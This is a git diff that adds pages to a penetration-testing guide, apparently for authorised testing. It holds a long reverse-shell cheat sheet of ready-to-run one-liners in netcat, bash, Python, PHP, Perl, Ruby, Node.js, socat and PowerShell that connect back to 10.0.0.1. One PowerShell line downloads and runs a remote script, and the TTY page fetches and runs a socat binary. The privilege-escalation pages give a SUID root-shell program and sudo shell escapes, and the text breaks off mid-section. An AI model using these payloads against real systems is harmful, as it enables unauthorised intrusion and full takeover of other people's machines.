Array(80,23,443,21,22,25,3389,110,445,139,143,53,135,3306,8080,1723,111,995,993,5900,1025,587,8888,199,1720,465,548,113,81,6001,10000,514,5060,179,1026,2000,8443,8000,32768,554,26,1433,49152,2001,515,8008,49154,1027,5666,646,5000,5631,631,49153,8081,2049,88,79,5800,106,2121,1110,49155,6000,513,990,5357,427,49156,543,544,5101,144,7,389,8009,3128,444,9999,5009,7070,5190,3000,5432,1900,3986,13,1029,9,5051,6646,49157,1028,873,1755,2717,4899,9100,119,37,1000,3001,5001,82,10010,1030,9090,2107,1024,2103,6004,1801,5050,19,8031,1041,255,1049,1048,2967,1053,3703,1056,1065,1064,1054,17,808,3689,1031,1044,1071,5901,100,9102,8010,2869,1039,5120,4001,9000,2105,636,1038,2601,1,7000,1066,1069,625,311,280,254,4000,1761,5003,2002,2005,1998,1032,1050,6112,3690,1521,2161,6002,1080,2401,4045,902,7937,787,1058,2383,32771,1033,1040,1059,50000,5555,10001,1494,593,2301,3,3268,7938,1234,1022,1074,8002,1036,1035,9001,1037,464,497,1935,6666,2003,6543,1352,24,3269,1111,407,500,20,2006,3260,15000,1218,1034,4444,264,2004,33,1042,42510,999,3052,1023,1068,222,7100,888,563,1717,2008,992,32770,32772,7001,8082,2007,5550,2009,5801,1043,512,2701,7019,50001,1700,4662,2065,2010,42,9535,2602,3333,161,5100,5002,2604,4002,6059,1047,8192,8193,2702,6789,9595,1051,9594,9593,16993,16992,5226,5225,32769,3283,1052,8194,1055,1062,9415,8701,8652,8651,8089,65389,65000,64680,64623,55600,55555,52869,35500,33354,23502,20828,1311,1060,4443,389,1067,13782,5902,366,9050,1002,85,5500,5431,1864,1863,8085,51103,49999,45100,10243,49,6667,90,27000,1503,6881,1500,8021,340,5566,8088,2222,9071,8899,6005,9876,1501,5102,32774,32773,9101,5679,163,648,146,1666,901,83,9207,8001,8083,5004,3476,8084,5214,14238,12345,912,30,2605,2030,6,541,8007,3005,4,1248,2500,880,306,4242,1097,9009,2525,1086,1088,8291,52822,6101,900,7200,2809,800,32775,12000,1083,211,987,705,20005,711,13783,6969,3071,5269,5222,1085,1046,5987,5989,5988,2190,11967,8600,3766,7627,8087,30000,9010,7741,14000,3367,1099,1098,3031,2718,6580,15002,4129,6901,3827,3580,2144,9900,8181,3801,1718,2811,9080,2135,1045,2399,3017,10002,1148,9002,8873,2875,5718,8086,3998,2607,11110,4126,5911,5910,9618,2381,1096,3300,3351,1073,8333,3784,5633,15660,6123,3211,1078,3659,3551,2260,2160,2100,16001,3325,3323,1104,9968,9503,9502,9485,9290,9220,9011,8994,8649,8222,7911,7625,7106,65129,63331,6156,6129,60020,5962,5961,5960,5959,5925,5877,5825,5810,58080,57294,50800,50006,50003,49160,49159,49158,48080,40193,34573,34572,34571,3404,33899,3301,32782,32781,31038,30718,28201,27715,25734,24800,22939,21571,20221,20031,19842,19801,19101,17988,1783,16018,16016,15003,14442,13456,10629,10628,10626,10621,10617,10616,10566,10025,10024,10012,1169,5030,5414,1057,6788,1947,1094,1075,1108,4003,1081,1093,4449,1687,1840,1100,1063,1061,1107,1106,9500,20222,7778,1077,1310,2119,2492,1070,20000,8400,1272,6389,7777,1072,1079,1082,8402,89,691,1001,32776,1999,212,2020,6003,7002,2998,50002,3372,898,5510,32,2033,5903,99,749,425,43,5405,6106,13722,6502,7007,458,9666,8100,3737,5298,1152,8090,2191,3011,1580,5200,3851,3371,3370,3369,7402,5054,3918,3077,7443,3493,3828,1186,2179,1183,19315,19283,3995,5963,1124,8500,1089,10004,2251,1087,5280,3871,3030,62078,9091,4111,1334,3261,2522,5859,1247,9944,9943,9877,9110,8654,8254,8180,8011,7512,7435,7103,61900,61532,5922,5915,5904,5822,56738,55055,51493,50636,50389,49175,49165,49163,3546,32784,27355,27353,27352,24444,19780,18988,16012,15742,10778,4006,2126,4446,3880,1782,1296,9998,9040,32779,1021,32777,2021,32778,616,666,700,5802,4321,545,1524,1112,49400,84,38292,2040,32780,3006,2111,1084,1600,2048,2638,6699,9111,16080,6547,6007,1533,5560,2106,1443,667,720,2034,555,801,6025,3221,3826,9200,2608,4279,7025,11111,3527,1151,8200,8300,6689,9878,10009,8800,5730,2394,2393,2725,5061,6566,9081,5678,3800,4550,5080,1201,3168,3814,1862,1114,6510,3905,8383,3914,3971,3809,5033,7676,3517,4900,3869,9418,2909,3878,8042,1091,1090,3920,6567,1138,3945,1175,10003,3390,3889,1131,8292,5087,1119,1117,4848,7800,16000,3324,3322,5221,4445,9917,9575,9099,9003,8290,8099,8093,8045,7921,7920,7496,6839,6792,6779,6692,6565,60443,5952,5950,5907,5906,5862,5850,5815,5811,57797,56737,5544,55056,5440,54328,54045,52848,52673,50500,50300,49176,49167,49161,44501,44176,41511,40911,32785,32783,30951,27356,26214,25735,19350,18101,18040,17877,16113,15004,14441,12265,12174,10215,10180,4567,6100,4004,4005,8022,9898,7999,1271,1199,3003,1122,2323,4224,2022,617,777,417,714,6346,981,722,1009,4998,70,1076,5999,10082,765,301,524,668,2041,6009,1417,1434,259,44443,1984,2068,7004,1007,4343,416,2038,6006,109,4125,1461,9103,911,726,1010,2046,2035,7201,687,2013,481,125,6669,6668,903,1455,683,1011,2043,2047,31337,256,9929,5998,406,44442,783,843,2042,2045,4040,6060,6051,1145,3916,9443,9444,1875,7272,4252,4200,7024,1556,13724,1141,1233,8765,1137,3963,5938,9191,3808,8686,3981,2710,3852,3849,3944,3853,9988,1163,4164,3820,6481,3731,5081,40000,8097,4555,3863,1287,4430,7744,1812,7913,1166,1164,1165,8019,10160,4658,7878,3304,3307,1259,1092,7278,3872,10008,7725,3410,1971,3697,3859,3514,4949,4147,7900,5353) >> ports.vbs + echo For Each port in arr >> ports.vbs + echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> ports.vbs + echo objXMLHTTP.open "GET", "http://10.0.0.1:" ^& port ^& "/", False >> ports.vbs + echo objXMLHTTP.send() >> ports.vbs + echo Set objXMLHTTP = Nothing >> ports.vbs + echo Next >> ports.vbs + echo "" + +Netcat +------ + +.. code-block:: none + + nc -c /bin/sh 10.0.0.1 53 + +.. code-block:: none + + nc -e /bin/sh 10.0.0.1 53 + +.. code-block:: none + + /bin/nc.traditional 10.0.0.1 53 -e /bin/sh + +Netcat (no -e) +-------------- + +.. code-block:: bash + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 53 >/tmp/f + +.. code-block:: bash + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc.openbsd 10.0.0.1 53 > /tmp/f + +.. code-block:: bash + + rm -f /tmp/x; mknod /tmp/x p && nc 10.0.0.1 53 0/tmp/x + +.. code-block:: bash + + rm -f /tmp/x; mknod /tmp/x p && /bin/nc.openbsd 10.0.0.1 53 0/tmp/x + +Ncat +---- + +.. code-block:: none + + ncat 10.0.0.1 53 -e /bin/sh + +.. code-block:: none + + ncat --udp 10.0.0.1 53 -e /bin/sh + +Bash TCP +-------- + +.. code-block:: bash + + sh -i >& /dev/tcp/10.0.0.1/53 0>&1 + +.. code-block:: bash + + exec 5<> /dev/tcp/10.0.0.1/53; cat <&5 | while read line; do $line 2>&5>&5; done + +.. code-block:: bash + + 0<&196;exec 196<>/dev/tcp/10.0.0.1/53; sh <&196 >&196 2>&196 + +Bash UDP +-------- + +.. code-block:: bash + + sh -i >& /dev/udp/10.0.0.1/53 0>&1 + +Telnet +------ + +Create two listeners, the first for sending commands, the other for receiving results. + +.. code-block:: bash + + telnet 10.0.0.1 53 | /bin/sh | telnet 10.0.0.1 54 + +.. code-block:: bash + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.0.0.1 53 > /tmp/f + +.. code-block:: bash + + rm -f /tmp/x; mknod /tmp/x p && telnet 10.0.0.1 53 0/tmp/x + +Awk +--- + +.. code-block:: bash + + awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/53"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null + +Python +------ + +Linux Only: + +.. code-block:: python + + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' + +.. code-block:: python + + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + +Windows Only: + +.. code-block:: python + + C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 53)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" + +PHP +--- + +.. code-block:: php + + php -r '$s=fsockopen("10.0.0.1",53);exec("/bin/sh -i <&3 >&3 2>&3");' + +.. code-block:: php + + php -r '$s=fsockopen("10.0.0.1",53);shell_exec("/bin/sh -i <&3 >&3 2>&3");' + +.. code-block:: php + + php -r '$s=fsockopen("10.0.0.1",53);`/bin/sh -i <&3 >&3 2>&3`;' + +.. code-block:: php + + php -r '$s=fsockopen("10.0.0.1",53);system("/bin/sh -i <&3 >&3 2>&3");' + +.. code-block:: php + + php -r '$s=fsockopen("10.0.0.1",53);popen("/bin/sh -i <&3 >&3 2>&3", "r");' + +The following is a one-liner modified from a full `pentestmonkey script `__. It is generally very successful. + +.. code-block:: php + + array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR:cannot-spawn-shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("successfully-opened-reverse-shell-to-$ip:$port");while(1){if(feof($sock)){printit("ERROR:shell-connection-terminated");break;}if(feof($pipes[1])){printit("ERROR:shell-process-terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK:READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK:$input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT:READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT:$input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR:READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR:$input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print("$string\n");}}?> + +The following is a one-liner modified from msfvenom's php/reverse_php script. It tends to not be that reliable. + +.. code-block:: php + + &1\n";}$bjxQcQ='is_callable';$avuz='in_array';if($bjxQcQ('exec')and!$avuz('exec',$dis)){$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}elseif($bjxQcQ('passthru')and!$avuz('passthru',$dis)){ob_start();passthru($c);$o=ob_get_contents();ob_end_clean();}elseif($bjxQcQ('popen')and!$avuz('popen',$dis)){$fp=popen($c,'r');$o=NULL;if(is_resource($fp)){while(!feof($fp)){$o.=fread($fp,1024);}}@pclose($fp);}elseif($bjxQcQ('system')and!$avuz('system',$dis)){ob_start();system($c);$o=ob_get_contents();ob_end_clean();}elseif($bjxQcQ('proc_open')and!$avuz('proc_open',$dis)){$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);}@proc_close($handle);}elseif($bjxQcQ('shell_exec')and!$avuz('shell_exec',$dis)){$o=shell_exec($c);}else{$o=0;}return $o;}}$nofuncs='no-exec-functions';if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){$s=@fsockopen("tcp://10.0.0.1",$port);while($c=fread($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=VmlTkWqAWqzABk(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs);break;}}fwrite($s,$out);}fclose($s);}else{$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,$ipaddr,$port);@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){$out='';if(substr($c,0,3)=='cd '){chdir(substr($c,3,-1));}else if(substr($c,0,4)=='quit'||substr($c,0,4)=='exit'){break;}else{$out=VmlTkWqAWqzABk(substr($c,0,-1));if($out===false){@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out));}@socket_close($s);} + +Perl +---- + +.. code-block:: perl + + perl -e 'use Socket;$i="10.0.0.1";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' + +.. code-block:: perl + + perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:53");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' + +Windows Only: + +.. code-block:: perl + + perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:53");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' + +Ruby +---- + +.. code-block:: ruby + + ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",53).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' + +.. code-block:: ruby + + ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","53");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' + +Windows Only: + +.. code-block:: ruby + + ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","53");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' + +Java +---- + +.. code-block:: java + + r = Runtime.getRuntime(); + p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/53;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); + p.waitFor(); + +Node.js +------- + +.. code-block:: javascript + + (function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh", []); + var client = new net.Socket(); + client.connect(53, "10.0.0.1", function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; // Prevents the Node.js application form crashing + })(); + +socat +----- + +Must use socat as the listener: + +.. code-block:: none + + socat file:`tty`,raw,echo=0 tcp-listen:53 + +.. code-block:: none + + socat tcp-connect:10.0.0.1:53 exec:"sh -li",pty,stderr,setsid,sigint,sane + + +tclsh +----- + +.. code-block:: tcl + + #!/usr/bin/tclsh + set s [socket 10.0.0.1 53]; + while {42} { + puts -nonewline $s "shell>"; + flush $s; + gets $s c; + set e "exec $c"; + if {![catch {set r [eval $e]} err]} { + puts $s $r; + } + flush $s; + } + close $s; + +.. code-block:: bash + + echo 'set s [socket 10.0.0.1 53];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh + + +Powershell +---------- + +.. code-block:: powershell + + powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + +.. code-block:: powershell + + powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" + +.. code-block:: powershell + + powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') diff --git a/exploits/shell-escaping.rst b/exploits/shell-escaping.rst new file mode 100644 index 0000000..c9035f4 --- /dev/null +++ b/exploits/shell-escaping.rst @@ -0,0 +1,5 @@ +############## +Shell Escaping +############## + +* https://speakerdeck.com/knaps/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells diff --git a/exploits/sudo-exploits.rst b/exploits/sudo-exploits.rst new file mode 100644 index 0000000..12aadc3 --- /dev/null +++ b/exploits/sudo-exploits.rst @@ -0,0 +1,5 @@ +============= +Sudo Exploits +============= + +`(Tod Miller's) Sudo/SudoEdit 1.6.9p21/1.7.2p4 - Local Privilege Escalation `_ diff --git a/index.rst b/index.rst new file mode 100644 index 0000000..2d23d0d --- /dev/null +++ b/index.rst @@ -0,0 +1,79 @@ +Penetration Testing Guide +========================= + +| :doc:`/todo` +| :doc:`/checklist` + +.. toctree:: + :glob: + :caption: Service Enumeration & Exploitation + :maxdepth: 1 + + services/overview.rst + services/* + +.. toctree:: + :glob: + :caption: Web Applications + :maxdepth: 1 + + web-applications/* + +.. toctree:: + :glob: + :caption: Password Attacks + :maxdepth: 1 + + password-attacks/* + +.. toctree:: + :glob: + :caption: Exploits + :maxdepth: 1 + + exploits/* + +.. toctree:: + :glob: + :caption: Privilege Escalation + :maxdepth: 2 + + privilege-escalation/* + privilege-escalation/linux/index.rst + privilege-escalation/windows/index.rst + +.. toctree:: + :glob: + :caption: Windows + :maxdepth: 1 + + windows/* + +.. toctree:: + :glob: + :caption: Binaries + :maxdepth: 1 + + binaries/* + +.. toctree:: + :glob: + :caption: Mobile Testing + :maxdepth: 1 + + mobile-testing/* + +.. toctree:: + :glob: + :caption: Misc + :maxdepth: 1 + + * + + +Indices and tables +================== + +* :ref:`genindex` +* :ref:`modindex` +* :ref:`search` diff --git a/mobile-testing/index.rst b/mobile-testing/index.rst new file mode 100644 index 0000000..6343bec --- /dev/null +++ b/mobile-testing/index.rst @@ -0,0 +1,5 @@ +############## +Mobile Testing +############## + +* https://github.com/gdbinit/Gdbinit diff --git a/password-attacks/cracking-hashes.rst b/password-attacks/cracking-hashes.rst new file mode 100644 index 0000000..ca3953a --- /dev/null +++ b/password-attacks/cracking-hashes.rst @@ -0,0 +1,44 @@ +############### +Cracking Hashes +############### + +john +==== + +:download:`PDF Cheatsheet <../_static/files/jtr-cheat-sheet.pdf>` + +List Formats +------------ + +.. code-block:: none + + john --list=formats + +Brute Force (Incremental) Mode +------------------------------ + +This is the default cracking mode and will try all possible character combinations. + +.. code-block:: none + + john --format= hashes.txt + +Dictionary / Wordlist Mode +-------------------------- + +.. code-block:: none + + john --format= --wordlist=/path/to/wordlist hashes.txt + + +Combine /etc/passwd and /etc/shadow file for john +------------------------------------------------- + +.. code-block:: none + + unshadow /path/to/passwd /path/to/shadow > + +Password Dictionaries +===================== + +* https://hashes.org/ diff --git a/privilege-escalation/linux/binary-analysis.rst b/privilege-escalation/linux/binary-analysis.rst new file mode 100644 index 0000000..0c5811f --- /dev/null +++ b/privilege-escalation/linux/binary-analysis.rst @@ -0,0 +1,30 @@ +############### +Binary Analysis +############### + +strings +======= + +Search for printable strings of characters in binaries: + +.. code-block:: none + + strings /path/to/binary + +strace +====== + +Trace system calls and signals in a process: + +.. code-block:: none + + strace ./path/to/binary --argument arg + +ltrace +====== + +Trace library calls in a process: + +.. code-block:: none + + ltrace ./path/to/binary --argument arg diff --git a/privilege-escalation/linux/gaining-tty.rst b/privilege-escalation/linux/gaining-tty.rst new file mode 100644 index 0000000..329421f --- /dev/null +++ b/privilege-escalation/linux/gaining-tty.rst @@ -0,0 +1,172 @@ +=========== +Gaining TTY +=========== + +Check to see if we have a TTY: + +.. code-block:: bash + + if [ -t 1 ] ; then echo terminal; else echo "not a terminal"; fi + +Python +------ + +.. code-block:: none + + python -c 'import pty; pty.spawn("/bin/sh")' + python -c 'import pty; pty.spawn("/bin/bash")' + +socat +----- + +Run listener on local machine: + +.. code-block:: none + + socat file:`tty`,raw,echo=0 tcp-listen:4444 + +Run on remote machine: + +.. code-block:: none + + socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444 + +If socat isn't installed, you can try and download a static binary and run that: + +.. code-block:: none + + wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444 + +netcat "magic" +-------------- + +.. code-block:: bash + + # In reverse shell + python -c 'import pty; pty.spawn("/bin/bash")' + Ctrl-Z + + # In Kali + echo $TERM # note this value + stty -a # note values + stty raw -echo; fg + + # In reverse shell + reset + export SHELL=bash + export TERM=xterm-256color # value from before + stty rows columns # values from before + +sh +-- + +.. code-block:: none + + /bin/sh -i + +awk +--- + +.. code-block:: none + + awk 'BEGIN {system("/bin/bash")}' + +find +---- + +.. code-block:: none + + find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \; + +Perl +---- + +.. code-block:: none + + perl -e 'exec "/bin/sh";' + + OR + + perl: exec "/bin/sh"; + +Ruby +---- + +.. code-block:: none + + ruby: exec "/bin/sh" + +vi / vim +-------- + +.. code-block:: none + + vi --not-a-term -c '!sh' + +.. code-block:: none + + vim --not-a-term --cmd '!sh' --cmd ':q!' + +If --cmd is not enabled, first create a file with the following contents: + +.. code-block:: none + + :set shell=/bin/bash + :shell + +Now execute the following: + +.. code-block:: none + + vi -s + + OR + + vim -s + +Lua +--- + +.. code-block:: none + + lua: os.execute('/bin/sh') + +From within IRB +--------------- + +.. code-block:: none + + exec "/bin/sh" + +From within vi / vim +-------------------- + +.. code-block:: none + + :!bash + + OR + + :set shell=/bin/bash:shell + +From within nmap +---------------- + +.. code-block:: none + + !sh + +echo +---- + +Note: This may be limited to LShell, a limited shell implemented in Python. + +.. code-block:: none + + echo os.system('/bin/bash') + +Resources +--------- + +https://netsec.ws/?p=337 +https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ diff --git a/privilege-escalation/linux/index.rst b/privilege-escalation/linux/index.rst new file mode 100644 index 0000000..c315d18 --- /dev/null +++ b/privilege-escalation/linux/index.rst @@ -0,0 +1,9 @@ +########################## +Linux Privilege Escalation +########################## + +.. toctree:: + :glob: + :maxdepth: 1 + + * diff --git a/privilege-escalation/linux/linux-examples.rst b/privilege-escalation/linux/linux-examples.rst new file mode 100644 index 0000000..16ab177 --- /dev/null +++ b/privilege-escalation/linux/linux-examples.rst @@ -0,0 +1,738 @@ +################################### +Linux Privilege Escalation Examples +################################### + +NFS +=== + +NFS allows a host to share file system resources over a network. Access Control is based on the server's file system, and on the uid/gid provided by the connecting client. + +Root squashing maps files owned by root (uid 0) to a different ID (e.g. anonymous or nobody). If the "no_root_squash" option is enabled, files owned by root will not get mapped. This means that as long as you access the NFS share as a root (uid 0) user, you can write to the host file system as root. + +.. code-block:: none + + $ cat /etc/exports + + /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) + +On your local machine, check that the NFS share is accessible: + +.. code-block:: none + + # showmount -e 10.0.0.1 + Export list for 10.0.0.1: + /tmp * + +On your local machine, make a directory to mount the remote share, and then mount it: + +.. code-block:: none + + # mkdir /tmp/mount + # mount -o rw,vers=2 10.0.0.1:/tmp /tmp/mount + # ls /tmp/mount + backup.tar.gz useless + +Create an executable that calls /bin/bash with root level permissions in the mounted share and set the SUID bit: + +.. code-block:: none + + int main() { + setresuid(0,0,0); + setresgid(0,0,0); + system("/bin/bash"); + } + +.. code-block:: none + + # gcc -o rootsh rootsh.c + # cp rootsh /tmp/mount + # chmod +s /tmp/mount/rootsh + +Now, back on the remote host, execute the executable to spawn a root shell: + +.. code-block:: none + + $ /tmp/rootsh + # + +Alternatively, on the remote host, copy the /bin/bash or /bin/sh binary to the NFS directory: + +.. code-block:: none + + $ cp /bin/bash /tmp + +On your local machine, after mounting the NFS share, create new copies of the files (or chown them to root) and set the SUID/SGUID bits: + +.. code-block:: none + + # cp bash rootbash + # chmod +s rootbash + + OR + + # chown root:root bash + # chmod +s bash + +Now, back on the remote host, run the file. For bash / sh, use the -p command line option to preserve the SUID/SGID (otherwise shell will simply spawn as your own user). + +.. code-block:: none + + $ /tmp/rootbash -p + # + + OR + + $ /tmp/bash -p + # + +Sudo +==== + +Shell Escape Sequences +---------------------- + +.. code-block:: none + + $ sudo -l + Matching Defaults entries for user on this host: + env_reset, env_keep+=LD_PRELOAD + + User user may run the following commands on this host: + (root) NOPASSWD: /usr/sbin/iftop + (root) NOPASSWD: /usr/bin/find + (root) NOPASSWD: /usr/bin/nano + (root) NOPASSWD: /usr/bin/vim + (root) NOPASSWD: /usr/bin/man + (root) NOPASSWD: /usr/bin/awk + (root) NOPASSWD: /usr/bin/less + (root) NOPASSWD: /usr/bin/ftp + (root) NOPASSWD: /usr/bin/nmap + (root) NOPASSWD: /usr/sbin/apache2 + (root) NOPASSWD: /bin/more + +vim / vi +^^^^^^^^ + +.. code-block:: none + + $ sudo vim --cmd sh + # + + $ sudo vi --cmd sh + # + +.. code-block:: none + + $ sudo vim -c sh + # + + $ sudo vi -c sh + # + +.. code-block:: none + + $ sudo vim + :!sh + # + + $ sudo vi + :!sh + # + +man +^^^ + +.. code-block:: none + + $ sudo man ls + !sh + # + +less +^^^^ + +.. code-block:: none + + $ sudo less /path/to/large/file + !sh + # + +more +^^^^ + +.. code-block:: none + + $ sudo more /path/to/large/file + !sh + # + +iftop +^^^^^ + +.. code-block:: none + + $ sudo iftop + !sh + # + +gdb +^^^ + +.. code-block:: none + + $ sudo gdb + (gdb) shell sh + # + +ftp +^^^ + +.. code-block:: none + + $ ftp + ftp> ! + # + +find +^^^^ + +.. code-block:: none + + $ sudo find /bin -name ls -exec /bin/sh \; + # + +awk +^^^ + +.. code-block:: none + + $ sudo awk 'BEGIN {system("/bin/sh")}' + # + +nmap +^^^^ + +.. code-block:: none + + $ sudo nmap --interactive + !sh + # + +.. code-block:: none + + $ echo "os.execute('/bin/sh')" > shell.nse + $ sudo nmap --script=shell.nse + # + +nano +^^^^ + +.. code-block:: none + + $ sudo nano -s /bin/sh + sh + ^T + +Abusing Intended Functionality +------------------------------ + +.. code-block:: none + + $ sudo apache2 -f /etc/shadow + Syntax error on line 1 of /etc/shadow: + Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration + +LD_PRELOAD / LD_LIBRARY_PATH +---------------------------- + +Environment variables: + +* LD_LIBRARY_PATH - A list of directories in which to search for RLF libraries at execution time. +* LD_PRELOAD - A list of additional, user-specified, ELF shared objects to be loaded before all others. + +Sudo has the ability to preserve certain environment variables: + +.. code-block:: none + 